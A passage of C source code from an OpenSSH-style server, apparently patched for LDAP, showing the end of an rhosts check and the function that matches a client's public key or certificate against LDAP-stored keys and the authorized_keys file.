/* Check if authentication is permitted by the file. */
if (check_rhosts_file(buf, hostname, ipaddr, client_user, pw->pw_name)) {
auth_debug_add("Accepted by %.100s.",
rhosts_files[rhosts_file_index]);
/* Restore the privileged uid. */
restore_uid();
auth_debug_add("Accepted host %s ip %s client_user %s server_user %s",
hostname, ipaddr, client_user, pw->pw_name);
return 1;
}
}
/* Restore the privileged uid. */
restore_uid();
return 0;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char line[SSH_MAX_PUBKEY_BYTES];
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
#ifdef WITH_LDAP_PUBKEY
ldap_key_t * k;
unsigned int i = 0;
#endif
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
#ifdef WITH_LDAP_PUBKEY
found_key = 0;
/* allocate a new key type */
found = key_new(key->type);
/* first check if the options is enabled, then try.. */
if (options.lpk.on) {
debug("[LDAP] trying LDAP first uid=%s",pw->pw_name);
if (ldap_ismember(&options.lpk, pw->pw_name) > 0) {
if ((k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) {
/* Skip leading whitespace, empty and comment lines. */
for (i = 0 ; i < k->num ; i++) {
/* dont forget if multiple keys to reset options */
char *cp, *xoptions = NULL;
for (cp = (char *)k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("[LDAP] user_key_allowed: check options: '%s'", cp);
xoptions = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("[LDAP] user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_equal(found, key) &&
auth_parse_options(pw, xoptions, file, linenum) == 1) {
found_key = 1;
debug("[LDAP] matching key found");
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("[LDAP] Found matching %s key: %s", key_type(found), fp);
/* restoring memory */
ldap_keys_free(k);
xfree(fp);
restore_uid();
key_free(found);
return found_key;
break;
}
}/* end of LDAP for() */
} else {
logit("[LDAP] no keys found for '%s'!", pw->pw_name);
}
} else {
logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup);
}
}
#endif
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_is_cert(key)) {
if (!key_equal(found, key->cert->signature_key))
continue;
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (!key_is_cert_authority)
continue;
fp = key_fingerprint(found, SSH_FP_MD5,
SSH_FP_HEX);
debug("matching CA found: file %s, line %lu, %s %s",
file, linenum, key_type(found), fp);
/*
* If the user has specified a list of principals as
* a key option, then prefer that list to matching
* their username in the certificate principals list.
*/
if (authorized_principals != NULL &&
!match_principals_option(authorized_principals,
key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
xfree(fp);
error("%s", reason);
auth_debug_add("%s", reason);
continue;
}
if (key_cert_check_authority(key, 0, 0,
authorized_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0) {
xfree(fp);
continue;
}
verbose("Accepted certificate ID \"%s\" "
"signed by %s CA %s via %s", key->cert->key_id,
key_type(found), fp, file);
xfree(fp);
found_key = 1;
break;
} else if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (key_is_cert_authority)
continue;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
